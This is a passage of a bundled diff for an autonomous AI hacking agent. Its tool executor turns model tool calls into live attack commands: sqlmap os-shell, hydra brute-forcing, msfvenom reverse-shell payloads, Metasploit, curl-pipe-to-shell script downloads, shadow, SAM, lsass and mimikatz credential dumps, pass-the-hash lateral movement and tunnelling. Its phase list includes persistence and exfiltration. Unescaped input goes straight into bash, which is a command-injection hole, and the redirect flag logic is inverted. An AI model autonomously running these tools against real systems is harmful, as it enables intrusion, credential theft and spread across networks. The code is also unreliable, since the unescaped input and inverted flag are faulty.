type: "object",
|
|
641
|
+
properties: {
|
|
642
|
+
type: { type: "string", enum: ["terminal", "browser"], description: "Screenshot type" },
|
|
643
|
+
filename: { type: "string", description: "Output filename" },
|
|
644
|
+
url: { type: "string", description: "URL for browser screenshot" }
|
|
645
|
+
},
|
|
646
|
+
required: ["type", "filename"]
|
|
647
|
+
}
|
|
648
|
+
}
|
|
649
|
+
];
|
|
650
|
+
var ALL_TOOLS = [
|
|
651
|
+
...SYSTEM_TOOLS,
|
|
652
|
+
...NETWORK_TOOLS,
|
|
653
|
+
...WEB_TOOLS,
|
|
654
|
+
...EXPLOIT_TOOLS,
|
|
655
|
+
...CREDENTIAL_TOOLS,
|
|
656
|
+
...PRIVESC_TOOLS,
|
|
657
|
+
...POST_EXPLOIT_TOOLS,
|
|
658
|
+
...REPORT_TOOLS
|
|
659
|
+
];
|
|
660
|
+
|
|
661
|
+
// src/core/tools/tool-executor.ts
|
|
662
|
+
import { exec } from "child_process";
|
|
663
|
+
import { promisify } from "util";
|
|
664
|
+
import * as fs from "fs/promises";
|
|
665
|
+
import * as path from "path";
|
|
666
|
+
var execAsync = promisify(exec);
|
|
667
|
+
async function executeToolCall(toolName, input) {
|
|
668
|
+
const startTime = Date.now();
|
|
669
|
+
try {
|
|
670
|
+
let result;
|
|
671
|
+
switch (toolName) {
|
|
672
|
+
// 시스템 도구
|
|
673
|
+
case "bash":
|
|
674
|
+
result = await executeBash(input.command, {
|
|
675
|
+
timeout: input.timeout || 6e4,
|
|
676
|
+
background: input.background
|
|
677
|
+
});
|
|
678
|
+
break;
|
|
679
|
+
case "read_file":
|
|
680
|
+
result = await readFile2(
|
|
681
|
+
input.path,
|
|
682
|
+
input.start_line,
|
|
683
|
+
input.end_line
|
|
684
|
+
);
|
|
685
|
+
break;
|
|
686
|
+
case "write_file":
|
|
687
|
+
result = await writeFile2(
|
|
688
|
+
input.path,
|
|
689
|
+
input.content,
|
|
690
|
+
input.overwrite
|
|
691
|
+
);
|
|
692
|
+
break;
|
|
693
|
+
case "list_directory":
|
|
694
|
+
result = await listDirectory(
|
|
695
|
+
input.path,
|
|
696
|
+
input.recursive,
|
|
697
|
+
input.hidden
|
|
698
|
+
);
|
|
699
|
+
break;
|
|
700
|
+
// 네트워크 스캐닝
|
|
701
|
+
case "nmap_scan":
|
|
702
|
+
result = await executeNmapScan(input);
|
|
703
|
+
break;
|
|
704
|
+
case "tcpdump_capture":
|
|
705
|
+
result = await executeTcpdump(input);
|
|
706
|
+
break;
|
|
707
|
+
// 웹 도구
|
|
708
|
+
case "web_request":
|
|
709
|
+
result = await executeWebRequest(input);
|
|
710
|
+
break;
|
|
711
|
+
case "directory_bruteforce":
|
|
712
|
+
result = await executeDirBruteforce(input);
|
|
713
|
+
break;
|
|
714
|
+
case "sql_injection":
|
|
715
|
+
result = await executeSqlmap(input);
|
|
716
|
+
break;
|
|
717
|
+
case "browser_automation":
|
|
718
|
+
result = await executeBrowserAutomation(input);
|
|
719
|
+
break;
|
|
720
|
+
// 익스플로잇 도구
|
|
721
|
+
case "searchsploit":
|
|
722
|
+
result = await executeSearchsploit(input);
|
|
723
|
+
break;
|
|
724
|
+
case "metasploit":
|
|
725
|
+
result = await executeMetasploit(input);
|
|
726
|
+
break;
|
|
727
|
+
case "generate_payload":
|
|
728
|
+
result = await generatePayload(input);
|
|
729
|
+
break;
|
|
730
|
+
// 자격증명 도구
|
|
731
|
+
case "bruteforce_login":
|
|
732
|
+
result = await executeBruteforce(input);
|
|
733
|
+
break;
|
|
734
|
+
case "crack_hash":
|
|
735
|
+
result = await executeCrackHash(input);
|
|
736
|
+
break;
|
|
737
|
+
// 권한 상승
|
|
738
|
+
case "run_privesc_enum":
|
|
739
|
+
result = await executePrivescEnum(input);
|
|
740
|
+
break;
|
|
741
|
+
case "check_sudo":
|
|
742
|
+
result = await checkSudo(input);
|
|
743
|
+
break;
|
|
744
|
+
case "find_suid":
|
|
745
|
+
result = await findSuid(input);
|
|
746
|
+
break;
|
|
747
|
+
// 포스트 익스플로잇
|
|
748
|
+
case "setup_tunnel":
|
|
749
|
+
result = await setupTunnel(input);
|
|
750
|
+
break;
|
|
751
|
+
case "dump_credentials":
|
|
752
|
+
result = await dumpCredentials(input);
|
|
753
|
+
break;
|
|
754
|
+
case "lateral_movement":
|
|
755
|
+
result = await executeLateralMovement(input);
|
|
756
|
+
break;
|
|
757
|
+
// 보고서
|
|
758
|
+
case "report_finding":
|
|
759
|
+
result = await reportFinding(input);
|
|
760
|
+
break;
|
|
761
|
+
case "take_screenshot":
|
|
762
|
+
result = await takeScreenshot(input);
|
|
763
|
+
break;
|
|
764
|
+
default:
|
|
765
|
+
result = {
|
|
766
|
+
success: false,
|
|
767
|
+
output: "",
|
|
768
|
+
error: `Unknown tool: ${toolName}`,
|
|
769
|
+
duration: Date.now() - startTime
|
|
770
|
+
};
|
|
771
|
+
}
|
|
772
|
+
result.duration = Date.now() - startTime;
|
|
773
|
+
return result;
|
|
774
|
+
} catch (error) {
|
|
775
|
+
return {
|
|
776
|
+
success: false,
|
|
777
|
+
output: "",
|
|
778
|
+
error: error.message || String(error),
|
|
779
|
+
duration: Date.now() - startTime
|
|
780
|
+
};
|
|
781
|
+
}
|
|
782
|
+
}
|
|
783
|
+
async function executeBash(command, options = {}) {
|
|
784
|
+
const timeout = options.timeout || 6e4;
|
|
785
|
+
try {
|
|
786
|
+
const { stdout, stderr } = await execAsync(command, {
|
|
787
|
+
timeout,
|
|
788
|
+
maxBuffer: 50 * 1024 * 1024,
|
|
789
|
+
// 50MB
|
|
790
|
+
shell: "/bin/bash"
|
|
791
|
+
});
|
|
792
|
+
return {
|
|
793
|
+
success: true,
|
|
794
|
+
output: stdout + (stderr ? `
|
|
795
|
+
[STDERR]
|
|
796
|
+
${stderr}` : ""),
|
|
797
|
+
duration: 0
|
|
798
|
+
};
|
|
799
|
+
} catch (error) {
|
|
800
|
+
return {
|
|
801
|
+
success: false,
|
|
802
|
+
output: error.stdout || "",
|
|
803
|
+
error: error.stderr || error.message,
|
|
804
|
+
exitCode: error.code,
|
|
805
|
+
duration: 0
|
|
806
|
+
};
|
|
807
|
+
}
|
|
808
|
+
}
|
|
809
|
+
async function readFile2(filePath, startLine, endLine) {
|
|
810
|
+
try {
|
|
811
|
+
const content = await fs.readFile(filePath, "utf-8");
|
|
812
|
+
let output = content;
|
|
813
|
+
if (startLine || endLine) {
|
|
814
|
+
const lines = content.split("\n");
|
|
815
|
+
const start = (startLine || 1) - 1;
|
|
816
|
+
const end = endLine || lines.length;
|
|
817
|
+
output = lines.slice(start, end).join("\n");
|
|
818
|
+
}
|
|
819
|
+
return { success: true, output, duration: 0 };
|
|
820
|
+
} catch (error) {
|
|
821
|
+
return { success: false, output: "", error: error.message, duration: 0 };
|
|
822
|
+
}
|
|
823
|
+
}
|
|
824
|
+
async function writeFile2(filePath, content, overwrite = false) {
|
|
825
|
+
try {
|
|
826
|
+
const exists = await fs.access(filePath).then(() => true).catch(() => false);
|
|
827
|
+
if (exists && !overwrite) {
|
|
828
|
+
return {
|
|
829
|
+
success: false,
|
|
830
|
+
output: "",
|
|
831
|
+
error: "File exists. Set overwrite: true to replace.",
|
|
832
|
+
duration: 0
|
|
833
|
+
};
|
|
834
|
+
}
|
|
835
|
+
await fs.mkdir(path.dirname(filePath), { recursive: true });
|
|
836
|
+
await fs.writeFile(filePath, content, "utf-8");
|
|
837
|
+
return { success: true, output: `Written to ${filePath}`, duration: 0 };
|
|
838
|
+
} catch (error) {
|
|
839
|
+
return { success: false, output: "", error: error.message, duration: 0 };
|
|
840
|
+
}
|
|
841
|
+
}
|
|
842
|
+
async function listDirectory(dirPath, recursive = false, hidden = false) {
|
|
843
|
+
try {
|
|
844
|
+
const flags = `-l${hidden ? "a" : ""}${recursive ? "R" : ""}`;
|
|
845
|
+
const { stdout } = await execAsync(`ls ${flags} "${dirPath}"`);
|
|
846
|
+
return { success: true, output: stdout, duration: 0 };
|
|
847
|
+
} catch (error) {
|
|
848
|
+
return { success: false, output: "", error: error.message, duration: 0 };
|
|
849
|
+
}
|
|
850
|
+
}
|
|
851
|
+
async function executeNmapScan(input) {
|
|
852
|
+
const { target, scan_type, ports, scripts, output_file } = input;
|
|
853
|
+
const scanFlags = {
|
|
854
|
+
discovery: "-sn",
|
|
855
|
+
quick: "-F -T4",
|
|
856
|
+
full: "-p-",
|
|
857
|
+
stealth: "-sS -T2",
|
|
858
|
+
service: "-sV -sC",
|
|
859
|
+
vuln: "--script vuln",
|
|
860
|
+
udp: "-sU --top-ports 100",
|
|
861
|
+
aggressive: "-A -T4"
|
|
862
|
+
};
|
|
863
|
+
let cmd = `nmap ${scanFlags[scan_type] || "-sV"} ${target}`;
|
|
864
|
+
if (ports) cmd += ` -p ${ports}`;
|
|
865
|
+
if (scripts) cmd += ` --script="${scripts}"`;
|
|
866
|
+
if (output_file) cmd += ` -oN "${output_file}"`;
|
|
867
|
+
return executeBash(cmd, { timeout: 6e5 });
|
|
868
|
+
}
|
|
869
|
+
async function executeTcpdump(input) {
|
|
870
|
+
const { interface: iface, filter, count, output_file, duration } = input;
|
|
871
|
+
let cmd = `sudo tcpdump -i ${iface || "any"}`;
|
|
872
|
+
if (filter) cmd += ` "${filter}"`;
|
|
873
|
+
if (count) cmd += ` -c ${count}`;
|
|
874
|
+
if (output_file) cmd += ` -w "${output_file}"`;
|
|
875
|
+
const timeout = (duration || 30) * 1e3 + 5e3;
|
|
876
|
+
return executeBash(cmd, { timeout });
|
|
877
|
+
}
|
|
878
|
+
async function executeWebRequest(input) {
|
|
879
|
+
const { url, method, headers, data, cookies, follow_redirects, proxy } = input;
|
|
880
|
+
let cmd = `curl -s -X ${method || "GET"}`;
|
|
881
|
+
if (headers && typeof headers === "object") {
|
|
882
|
+
Object.entries(headers).forEach(([k, v]) => {
|
|
883
|
+
cmd += ` -H "${k}: ${v}"`;
|
|
884
|
+
});
|
|
885
|
+
}
|
|
886
|
+
if (data) cmd += ` -d '${data}'`;
|
|
887
|
+
if (cookies) cmd += ` -b "${cookies}"`;
|
|
888
|
+
if (!follow_redirects) cmd += " -L";
|
|
889
|
+
if (proxy) cmd += ` -x "${proxy}"`;
|
|
890
|
+
cmd += ` "${url}"`;
|
|
891
|
+
return executeBash(cmd);
|
|
892
|
+
}
|
|
893
|
+
async function executeDirBruteforce(input) {
|
|
894
|
+
const { url, wordlist, mode, extensions, threads, status_codes } = input;
|
|
895
|
+
let cmd = `gobuster ${mode || "dir"} -u "${url}" -w "${wordlist || "/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt"}"`;
|
|
896
|
+
if (extensions) cmd += ` -x ${extensions}`;
|
|
897
|
+
if (threads) cmd += ` -t ${threads}`;
|
|
898
|
+
if (status_codes) cmd += ` -s ${status_codes}`;
|
|
899
|
+
cmd += " -q";
|
|
900
|
+
return executeBash(cmd, { timeout: 3e5 });
|
|
901
|
+
}
|
|
902
|
+
async function executeSqlmap(input) {
|
|
903
|
+
const { url, data, cookie, level, risk, technique, dump, os_shell } = input;
|
|
904
|
+
let cmd = `sqlmap -u "${url}" --batch`;
|
|
905
|
+
if (data) cmd += ` --data="${data}"`;
|
|
906
|
+
if (cookie) cmd += ` --cookie="${cookie}"`;
|
|
907
|
+
if (level) cmd += ` --level=${level}`;
|
|
908
|
+
if (risk) cmd += ` --risk=${risk}`;
|
|
909
|
+
if (technique) cmd += ` --technique=${technique}`;
|
|
910
|
+
if (dump) cmd += " --dump";
|
|
911
|
+
if (os_shell) cmd += " --os-shell";
|
|
912
|
+
return executeBash(cmd, { timeout: 6e5 });
|
|
913
|
+
}
|
|
914
|
+
async function executeBrowserAutomation(input) {
|
|
915
|
+
const { url, action, selector, value, script, wait_for } = input;
|
|
916
|
+
const playwrightScript = `
|
|
917
|
+
const { chromium } = require('playwright');
|
|
918
|
+
|
|
919
|
+
(async () => {
|
|
920
|
+
const browser = await chromium.launch({ headless: true });
|
|
921
|
+
const page = await browser.newPage();
|
|
922
|
+
|
|
923
|
+
await page.goto('${url}');
|
|
924
|
+
${wait_for ? `await page.waitForSelector('${wait_for}');` : ""}
|
|
925
|
+
|
|
926
|
+
let result = {};
|
|
927
|
+
|
|
928
|
+
${action === "screenshot" ? `
|
|
929
|
+
await page.screenshot({ path: 'screenshot.png' });
|
|
930
|
+
result = { action: 'screenshot', file: 'screenshot.png' };
|
|
931
|
+
` : ""}
|
|
932
|
+
|
|
933
|
+
${action === "click" && selector ? `
|
|
934
|
+
await page.click('${selector}');
|
|
935
|
+
result = { action: 'click', selector: '${selector}' };
|
|
936
|
+
` : ""}
|
|
937
|
+
|
|
938
|
+
${action === "type" && selector && value ? `
|
|
939
|
+
await page.fill('${selector}', '${value}');
|
|
940
|
+
result = { action: 'type', selector: '${selector}', value: '${value}' };
|
|
941
|
+
` : ""}
|
|
942
|
+
|
|
943
|
+
${action === "evaluate" && script ? `
|
|
944
|
+
result = await page.evaluate(() => { ${script} });
|
|
945
|
+
` : ""}
|
|
946
|
+
|
|
947
|
+
${action === "extract_cookies" ? `
|
|
948
|
+
const cookies = await page.context().cookies();
|
|
949
|
+
result = { cookies };
|
|
950
|
+
` : ""}
|
|
951
|
+
|
|
952
|
+
console.log(JSON.stringify(result, null, 2));
|
|
953
|
+
|
|
954
|
+
await browser.close();
|
|
955
|
+
})();
|
|
956
|
+
`;
|
|
957
|
+
const scriptPath = "/tmp/playwright_script.js";
|
|
958
|
+
await fs.writeFile(scriptPath, playwrightScript);
|
|
959
|
+
return executeBash(`node ${scriptPath}`, { timeout: 6e4 });
|
|
960
|
+
}
|
|
961
|
+
async function executeSearchsploit(input) {
|
|
962
|
+
const { query, exact, examine, mirror } = input;
|
|
963
|
+
if (examine) {
|
|
964
|
+
return executeBash(`searchsploit -x "${examine}"`);
|
|
965
|
+
}
|
|
966
|
+
if (mirror) {
|
|
967
|
+
return executeBash(`searchsploit -m "${mirror}"`);
|
|
968
|
+
}
|
|
969
|
+
let cmd = `searchsploit "${query}"`;
|
|
970
|
+
if (exact) cmd += " -e";
|
|
971
|
+
return executeBash(cmd);
|
|
972
|
+
}
|
|
973
|
+
async function executeMetasploit(input) {
|
|
974
|
+
const { command, resource_script } = input;
|
|
975
|
+
if (resource_script) {
|
|
976
|
+
return executeBash(`msfconsole -q -r "${resource_script}"`, { timeout: 3e5 });
|
|
977
|
+
}
|
|
978
|
+
return executeBash(`msfconsole -q -x "${command}; exit"`, { timeout: 3e5 });
|
|
979
|
+
}
|
|
980
|
+
async function generatePayload(input) {
|
|
981
|
+
const { payload_type, lhost, lport, platform, format, encoder, output } = input;
|
|
982
|
+
const payloads = {
|
|
983
|
+
windows: {
|
|
984
|
+
reverse_tcp: "windows/meterpreter/reverse_tcp",
|
|
985
|
+
reverse_https: "windows/meterpreter/reverse_https",
|
|
986
|
+
bind_tcp: "windows/meterpreter/bind_tcp"
|
|
987
|
+
},
|
|
988
|
+
linux: {
|
|
989
|
+
reverse_tcp: "linux/x64/meterpreter/reverse_tcp",
|
|
990
|
+
reverse_https: "linux/x64/meterpreter/reverse_https",
|
|
991
|
+
bind_tcp: "linux/x64/meterpreter/bind_tcp"
|
|
992
|
+
},
|
|
993
|
+
php: {
|
|
994
|
+
reverse_tcp: "php/meterpreter/reverse_tcp"
|
|
995
|
+
},
|
|
996
|
+
python: {
|
|
997
|
+
reverse_tcp: "python/meterpreter/reverse_tcp"
|
|
998
|
+
}
|
|
999
|
+
};
|
|
1000
|
+
const payloadName = payloads[platform]?.[payload_type] || `${platform}/meterpreter/reverse_tcp`;
|
|
1001
|
+
let cmd = `msfvenom -p ${payloadName} LHOST=${lhost} LPORT=${lport}`;
|
|
1002
|
+
if (format) cmd += ` -f ${format}`;
|
|
1003
|
+
if (encoder) cmd += ` -e ${encoder}`;
|
|
1004
|
+
if (output) cmd += ` -o "${output}"`;
|
|
1005
|
+
return executeBash(cmd);
|
|
1006
|
+
}
|
|
1007
|
+
async function executeBruteforce(input) {
|
|
1008
|
+
const { target, service, username, password, port, threads, http_form } = input;
|
|
1009
|
+
let cmd = `hydra`;
|
|
1010
|
+
if (username) {
|
|
1011
|
+
if (username.toString().includes("/")) {
|
|
1012
|
+
cmd += ` -L "${username}"`;
|
|
1013
|
+
} else {
|
|
1014
|
+
cmd += ` -l "${username}"`;
|
|
1015
|
+
}
|
|
1016
|
+
}
|
|
1017
|
+
if (password) {
|
|
1018
|
+
if (password.toString().includes("/")) {
|
|
1019
|
+
cmd += ` -P "${password}"`;
|
|
1020
|
+
} else {
|
|
1021
|
+
cmd += ` -p "${password}"`;
|
|
1022
|
+
}
|
|
1023
|
+
} else {
|
|
1024
|
+
cmd += ` -P /usr/share/wordlists/rockyou.txt`;
|
|
1025
|
+
}
|
|
1026
|
+
if (port) cmd += ` -s ${port}`;
|
|
1027
|
+
if (threads) cmd += ` -t ${threads}`;
|
|
1028
|
+
cmd += ` ${target} ${service}`;
|
|
1029
|
+
if (http_form && service === "http-post-form") {
|
|
1030
|
+
cmd += ` "${http_form}"`;
|
|
1031
|
+
}
|
|
1032
|
+
return executeBash(cmd, { timeout: 6e5 });
|
|
1033
|
+
}
|
|
1034
|
+
async function executeCrackHash(input) {
|
|
1035
|
+
const { hash_file, wordlist, mode, tool, rules } = input;
|
|
1036
|
+
const wl = wordlist || "/usr/share/wordlists/rockyou.txt";
|
|
1037
|
+
if (tool === "hashcat") {
|
|
1038
|
+
let cmd2 = `hashcat -a 0`;
|
|
1039
|
+
if (mode) cmd2 += ` -m ${mode}`;
|
|
1040
|
+
if (rules) cmd2 += ` -r "${rules}"`;
|
|
1041
|
+
cmd2 += ` "${hash_file}" "${wl}" --force`;
|
|
1042
|
+
return executeBash(cmd2, { timeout: 36e5 });
|
|
1043
|
+
}
|
|
1044
|
+
let cmd = `john --wordlist="${wl}"`;
|
|
1045
|
+
if (rules) cmd += ` --rules="${rules}"`;
|
|
1046
|
+
cmd += ` "${hash_file}"`;
|
|
1047
|
+
return executeBash(cmd, { timeout: 36e5 });
|
|
1048
|
+
}
|
|
1049
|
+
async function executePrivescEnum(input) {
|
|
1050
|
+
const { script, args, output_file } = input;
|
|
1051
|
+
const scripts = {
|
|
1052
|
+
linpeas: "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh",
|
|
1053
|
+
winpeas: `powershell -exec bypass -c "(New-Object System.Net.WebClient).DownloadFile('https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe', 'winpeas.exe'); .\\winpeas.exe"`,
|
|
1054
|
+
les: "curl -L https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash",
|
|
1055
|
+
pspy: "curl -L https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -o /tmp/pspy && chmod +x /tmp/pspy && /tmp/pspy"
|
|
1056
|
+
};
|
|
1057
|
+
let cmd = scripts[script] || scripts.linpeas;
|
|
1058
|
+
if (args) cmd += ` ${args}`;
|
|
1059
|
+
if (output_file) cmd += ` 2>&1 | tee "${output_file}"`;
|
|
1060
|
+
return executeBash(cmd, { timeout: 6e5 });
|
|
1061
|
+
}
|
|
1062
|
+
async function checkSudo(input) {
|
|
1063
|
+
const { check_gtfobins } = input;
|
|
1064
|
+
let cmd = "sudo -l 2>/dev/null";
|
|
1065
|
+
if (check_gtfobins) {
|
|
1066
|
+
cmd = `sudo -l 2>/dev/null | grep -E '\\(ALL\\)|\\(root\\)|NOPASSWD' || true`;
|
|
1067
|
+
}
|
|
1068
|
+
return executeBash(cmd);
|
|
1069
|
+
}
|
|
1070
|
+
async function findSuid(input) {
|
|
1071
|
+
const { check_gtfobins } = input;
|
|
1072
|
+
const cmd = "find / -perm -4000 -type f 2>/dev/null | head -100";
|
|
1073
|
+
return executeBash(cmd);
|
|
1074
|
+
}
|
|
1075
|
+
async function setupTunnel(input) {
|
|
1076
|
+
const { tool, mode, local_port, remote_port, target } = input;
|
|
1077
|
+
if (tool === "chisel") {
|
|
1078
|
+
if (mode === "server") {
|
|
1079
|
+
return executeBash(`chisel server -p ${local_port || 8e3} --reverse`, { background: true });
|
|
1080
|
+
} else {
|
|
1081
|
+
return executeBash(`chisel client ${target}:${remote_port || 8e3} R:socks`);
|
|
1082
|
+
}
|
|
1083
|
+
}
|
|
1084
|
+
if (tool === "ssh") {
|
|
1085
|
+
return executeBash(`ssh -D ${local_port || 1080} -N ${target}`);
|
|
1086
|
+
}
|
|
1087
|
+
return { success: false, output: "", error: "Unsupported tunnel tool", duration: 0 };
|
|
1088
|
+
}
|
|
1089
|
+
async function dumpCredentials(input) {
|
|
1090
|
+
const { method, output_file } = input;
|
|
1091
|
+
const commands = {
|
|
1092
|
+
shadow: "cat /etc/shadow 2>/dev/null",
|
|
1093
|
+
sam: "reg save hklm\\sam sam.hive && reg save hklm\\system system.hive",
|
|
1094
|
+
lsass: "procdump.exe -ma lsass.exe lsass.dmp",
|
|
1095
|
+
mimikatz: 'mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"',
|
|
1096
|
+
browser: 'find / -name "Login Data" -o -name "logins.json" 2>/dev/null'
|
|
1097
|
+
};
|
|
1098
|
+
let cmd = commands[method] || commands.shadow;
|
|
1099
|
+
if (output_file) cmd += ` > "${output_file}"`;
|
|
1100
|
+
return executeBash(cmd);
|
|
1101
|
+
}
|
|
1102
|
+
async function executeLateralMovement(input) {
|
|
1103
|
+
const { method, target, username, credential, command } = input;
|
|
1104
|
+
const isHash = credential.match(/^[a-fA-F0-9]+$/) && credential.length >= 32;
|
|
1105
|
+
const commands = {
|
|
1106
|
+
psexec: isHash ? `impacket-psexec -hashes :${credential} ${username}@${target} "${command || "cmd.exe"}"` : `impacket-psexec ${username}:${credential}@${target} "${command || "cmd.exe"}"`,
|
|
1107
|
+
wmiexec: `impacket-wmiexec ${username}:${credential}@${target} "${command || "whoami"}"`,
|
|
1108
|
+
smbexec: `impacket-smbexec ${username}:${credential}@${target} "${command || "cmd.exe"}"`,
|
|
1109
|
+
"evil-winrm": `evil-winrm -i ${target} -u ${username} -p "${credential}"`,
|
|
1110
|
+
ssh: `sshpass -p "${credential}" ssh ${username}@${target} "${command || "whoami"}"`
|
|
1111
|
+
};
|
|
1112
|
+
return executeBash(commands[method], { timeout: 6e4 });
|
|
1113
|
+
}
|
|
1114
|
+
async function reportFinding(input) {
|
|
1115
|
+
const { title, severity, description, evidence, exploitable, remediation, cvss, cve } = input;
|
|
1116
|
+
const finding = {
|
|
1117
|
+
title,
|
|
1118
|
+
severity,
|
|
1119
|
+
description,
|
|
1120
|
+
evidence,
|
|
1121
|
+
exploitable: exploitable || false,
|
|
1122
|
+
remediation: remediation || "To be determined",
|
|
1123
|
+
cvss: cvss || null,
|
|
1124
|
+
cve: cve || null,
|
|
1125
|
+
timestamp: (/* @__PURE__ */ new Date()).toISOString()
|
|
1126
|
+
};
|
|
1127
|
+
const findingsPath = "/tmp/hacker-code-findings.json";
|
|
1128
|
+
let findings = [];
|
|
1129
|
+
try {
|
|
1130
|
+
const existing = await fs.readFile(findingsPath, "utf-8");
|
|
1131
|
+
findings = JSON.parse(existing);
|
|
1132
|
+
} catch {
|
|
1133
|
+
}
|
|
1134
|
+
findings.push(finding);
|
|
1135
|
+
await fs.writeFile(findingsPath, JSON.stringify(findings, null, 2));
|
|
1136
|
+
return {
|
|
1137
|
+
success: true,
|
|
1138
|
+
output: `Finding recorded: [${severity?.toString().toUpperCase()}] ${title}`,
|
|
1139
|
+
duration: 0
|
|
1140
|
+
};
|
|
1141
|
+
}
|
|
1142
|
+
async function takeScreenshot(input) {
|
|
1143
|
+
const { type, filename, url } = input;
|
|
1144
|
+
if (type === "browser" && url) {
|
|
1145
|
+
const script = `
|
|
1146
|
+
const { chromium } = require('playwright');
|
|
1147
|
+
(async () => {
|
|
1148
|
+
const browser = await chromium.launch();
|
|
1149
|
+
const page = await browser.newPage();
|
|
1150
|
+
await page.goto('${url}');
|
|
1151
|
+
await page.screenshot({ path: '${filename || "screenshot.png"}', fullPage: true });
|
|
1152
|
+
await browser.close();
|
|
1153
|
+
console.log('Screenshot saved');
|
|
1154
|
+
})();
|
|
1155
|
+
`;
|
|
1156
|
+
await fs.writeFile("/tmp/screenshot.js", script);
|
|
1157
|
+
return executeBash("node /tmp/screenshot.js");
|
|
1158
|
+
}
|
|
1159
|
+
return executeBash(`script -q /dev/null -c "cat" | tee "${filename || "terminal.txt"}"`);
|
|
1160
|
+
}
|
|
1161
|
+
|
|
1162
|
+
// src/config/constants.ts
|
|
1163
|
+
var APP_VERSION = "1.0.0";
|
|
1164
|
+
var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
|
|
1165
|
+
var CLAUDE_MODEL = process.env.PENTEST_MODEL || "claude-sonnet-4-20250514";
|
|
1166
|
+
var CLAUDE_MAX_TOKENS = 16384;
|
|
1167
|
+
var AGENT_CONFIG = {
|
|
1168
|
+
maxIterations: 200,
|
|
1169
|
+
maxToolCallsPerIteration: 10,
|
|
1170
|
+
autoApprove: false,
|
|
1171
|
+
sensitiveTools: ["credential_attack", "write_file", "metasploit", "generate_payload"],
|
|
1172
|
+
defaultTimeout: 6e4,
|
|
1173
|
+
longRunningTimeout: 6e5,
|
|
1174
|
+
stuckThreshold: 5,
|
|
1175
|
+
stuckTimeThreshold: 3e5,
|
|
1176
|
+
maxPhaseAttempts: 20
|
|
1177
|
+
};
|
|
1178
|
+
|
|
1179
|
+
// src/core/agent/autonomous-agent.ts
|
|
1180
|
+
var DEFAULT_PHASES = [
|
|
1181
|
+
{ id: "recon", name: "Reconnaissance", korean: "\uC815\uCC30", status: "pending", attempts: 0 },
|
|
1182
|
+
{ id: "scan", name: "Scanning", korean: "\uC2A4\uCE90\uB2DD", status: "pending", attempts: 0 },
|
|
1183
|
+
{ id: "enum", name: "Enumeration", korean: "\uC5F4\uAC70", status: "pending", attempts: 0 },
|
|
1184
|
+
{ id: "vuln", name: "Vulnerability Analysis", korean: "\uCDE8\uC57D\uC810 \uBD84\uC11D", status: "pending", attempts: 0 },
|
|
1185
|
+
{ id: "exploit", name: "Exploitation", korean: "\uC775\uC2A4\uD50C\uB85C\uC787", status: "pending", attempts: 0 },
|
|
1186
|
+
{ id: "privesc", name: "Privilege Escalation", korean: "\uAD8C\uD55C \uC0C1\uC2B9", status: "pending", attempts: 0 },
|
|
1187
|
+
{ id: "pivot", name: "Pivoting", korean: "\uD53C\uBC97", status: "pending", attempts: 0 },
|
|
1188
|
+
{ id: "persist", name: "Persistence", korean: "\uC9C0\uC18D\uC131", status: "pending", attempts: 0 },
|
|
1189
|
+
{ id: "exfil", name: "Data Exfiltration", korean: "\uB370\uC774\uD130 \uCD94\uCD9C", status: "pending", attempts: 0 },
|
|
1190
|
+
{ id: "report", name: "Reporting", korean: "\uBCF4\uACE0\uC11C", status: "pending", attempts: 0 }
|
|
1191
|
+
];
|
|
1192
|
+
var AutonomousHackingAgent = class extends EventEmitter {
|
|
1193
|
+
client;
|
|
1194
|
+
state;
|
|
1195
|
+
config;
|
|
1196
|
+
tools;
|
|
1197
|
+
// 토끼굴 감지 설정
|
|
1198
|
+
STUCK_THRESHOLD = 5;
|
|
1199
|
+
// 같은 액션 반복 횟수
|
|
1200
|
+
STUCK_TIME_THRESHOLD = 3e5;
|
|
1201
|
+
// 5분 동안 진전 없음
|
|
1202
|
+
MAX_PHASE_ATTEMPTS = 20;
|
|
1203
|
+
// 단계당 최대 시도 횟수
|
|
1204
|
+
constructor(apiKey, config) {
|
|
1205
|
+
super();
|
|
1206
|
+
this.client = new Anthropic({
|
|
1207
|
+
apiKey: apiKey || process.env.ANTHROPIC_API_KEY
|
|
1208
|
+
});
|
|
1209
|
+
this.config = { ...AGENT_CONFIG, ...config };
|
|
1210
|
+
this.tools = ALL_TOOLS;
|
|
1211
|
+
this.state = this.createInitialState();
|
|
1212
|
+
}
|
|
1213
|
+
// ===== 상태 관리 =====
|
|
1214
|
+
createInitialState() {
|
|
1215
|
+
return {
|
|
1216
|
+
status: "idle",
|
|
1217
|
+
target: {
|
|
1218
|
+
primary: "",
|
|
1219
|
+
discovered: [],
|
|
1220
|
+
compromised: [],
|
|
1221
|
+
pivotPoints: [],
|
|
1222
|
+
credentials: [],
|
|
1223
|
+
services: []
|
|
1224
|
+
},
|
|
1225
|
+
currentPhase: "recon",
|
|
1226
|
+
phases: DEFAULT_PHASES.map((p) => ({ ...p, findings: [], notes: [] })),
|
|
1227
|
+
thoughts: [],
|
|
1228
|
+
findings: [],
|
|
1229
|
+
iteration: 0,
|
|
1230
|
+
totalAttempts: 0,
|
|
1231
|
+
successfulExploits: 0,
|
|
1232
|
+
failedAttempts: 0,
|
|
1233
|
+
stuckCounter: 0,
|
|
1234
|
+
lastProgressTime: /* @__PURE__ */ new Date(),
|
|
1235
|
+
repeatedActions: /* @__PURE__ */ new Map(),
|
|
1236
|
+
history: []
|
|
1237
|
+
};
|
|
1238
|
+
}
|
|
1239
|
+
getState() {
|
|
1240
|
+
return { ...this.state };
|
|
1241
|
+
}
|
|
1242
|
+
getPhaseProgress() {
|
|
1243
|
+
const completed = this.state.phases.filter((p) => p.status === "completed").length;
|
|
1244
|
+
return {
|
|
1245
|
+
completed,
|
|
1246
|
+
total: this.state.phases.length,
|
|
1247
|
+
current: this.state.currentPhase
|
|
1248
|
+
};
|
|
1249
|
+
}
|
|
1250
|
+
// ===== 사고 과정 기록 =====
|
|
1251
|
+
think(type, content) {
|
|
1252
|
+
const thought = {
|
|
1253
|
+
id: `thought-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
|
|
1254
|
+
type,
|
|
1255
|
+
content,
|
|
1256
|
+
